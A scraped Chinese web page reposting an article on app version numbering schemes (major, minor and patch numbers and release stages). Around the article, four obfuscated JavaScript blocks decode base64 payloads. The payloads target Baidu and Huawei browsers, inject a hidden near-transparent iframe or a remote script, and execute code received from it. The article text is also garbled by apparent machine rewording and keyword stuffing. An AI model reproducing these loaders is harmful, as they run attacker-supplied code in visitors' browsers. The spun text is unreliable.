eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
版本号命名规则,版本号数字越大越好吗

2021年12月27日 墨神 阅读(108)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

版本号是APP的身份代码,需要遵循某些规范和原则。

作为移动终端的产品经理,他经常做APP版的迭代规划,所以确定APP版的版个数是不可避免的。在大多数情况下,可以通过拍拍他的头来确定版本号。

一些公司可能有专门的项目经理负责版这项管理和版本号命名,但大多数小公司可能是负责这项工作的产品经理。

在网上收集了一些信息后,我发现APP版本号的命名有很多规范和原则。本文将与您分享这些规范和原则。

1、 为什么我们要标准化APP版本号的命名?

首先,我们需要解释哪些人员需要使用APP版本号。第一个是产品经理,第二个是开发人员,第三个是项目经理,第四个是用户。

对于产品经理,APP和版,此迭代基本上由产品经理发起。因此,在许多情况下,产品经理通常在需求管理期间划分版本号和版此计划。对于产品经理,可以更好、更清楚地筛选和确定每本版书的要求。

对于开发人员来说,版本号与代码直接相关。很多时候,不同的版书籍是交叉开发的,不同的版书籍可以同时开发。为了确保代码的规范性和清晰性,版本号数字越大越好吗,避免不同版书籍之间的交叉混淆,版本号数字越大越好吗,版本号是一个极其重要的环节。

对于项目经理而言,版本号是需求管理中的唯一标识符。有必要根据版本号管理和分配分配分配工作,也有必要在软件产品生命周期中进行更好的沟通和标记。

对于用户而言,尽管版本号只是用户的一系列数字,但用户对版本号的感知是一个不断更新的数字。您可以通过版本号判断您的APP是否为最新版本。

2、 APP版本号成分和规格

目前,在许多情况下,版本号可能只遵循两个原则和规范,即版本号唯一的基本原则和一组数字。

在介绍APP版本号的命名约定和原则之前,我们首先需要了解一些APP版本号的组成。

软件版本号由四部分组成:主版本号子版本号。阶段版本号。日期版本号加希腊字母版本号

希腊字母有五种版本号:base,al版本号命名规则pha,beta,RC,Release。例如:2.1.0.181209Release

希腊字母版简述如下:

alpha版:也称为α版(开发环境)。本书版主要关注软件功能的实现,版本号数字越大越好吗,通常只与软件开发人员进行交流;

beta版:这本版书是相对于α版的。已经做出了很大的改进,并消除了严重的错误,但仍有一些缺陷需要通过多次测试进一步消除。该版主要修改对象为软件UI;

RC版:这个版书已经相当成熟了。基本上不存在发生错误的Bug。和即将发行的正式版基本相同。

Release版:这本版书意味着“最终版本”、“在线版本”,在之前版书的一系列测试版之后,终于有了正式版本书,是最终交给用户的书。这个版书也被称为标准版。一般来说,Release在软件的封面上不是单词,而是符号(R)。

对于绝大多数APP来说,基本上采用了GNU风格版本号的管理策略,APP完全版本号的构成是3组数字“主版本号.子版本号.阶段版本号”,即X.Y.Z,X、Y、Z是正整数。

三、APP版本号的姓名变更规则

1.主版本号

在APP的多个主要模块有较大变动的情况下,例如APP新增TAB,产品整体的结构发生了变化。或追加了新的功能或业务。例如微信在线钱包、多音在线转播等。

主版本号开始值是0或1,具体而言,需要由产品管理器决定是否需要修正主版本号。

2.子版本号

子版本号初始值为0。

APP在较少的主要模块中发生大的变动或新模块(与主逻辑变更有关的)、在多个分支模块中发生大的变动或追加的情况下,对于主版本号仅发生局部的变动,例如某个功能上的UI重构、需要定义更少的模块和更多的模块,例如优化某一页。我觉得比三个小,但我觉得有三个以上。

子版本号的最大值需要确定,不同的公司可能有最大版本号命名规则值。例如,最大超过9的话,需要将主版本号放入1中。也有没有最大值的公司。仅在主版本号+1时返回0。这里没有规定的原则和规定,产品经理自己决定规则。

3.阶段版本号

阶段版本号初始值为0。

什么时候修改阶段版本号?一般情况下是Bug修复、少分支模块变动、例如视觉、样式、交互、文案等修正情况。

通常,只有修复Bug的话,等级版本号+1就可以。在与修复相关联的情况下,如果分支模块的修改较少,则步骤版编号+2;如果超过三个分支模块的修改,则需要直接子版本号+1。

结束

虽说是一连串的数字,但对产品经理、开发者、用户来说是有意义的数字。不仅可以规范书的生活周期,还可以方便和内部人的交流和工作。

轻拍头部命名版本号并不严格和标准化,产品经理需要追版本号命名规则求完美。希望以上命名规范APP版能给您一些参考。

作者:harryli,新零售行业产品经理,微信公众号,“Harry李先生注释”。

这篇文章最初由@harryli发表,每个人都是产品经理。未经允许不得转载。

图片来自unsplash,基于cc0协议。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}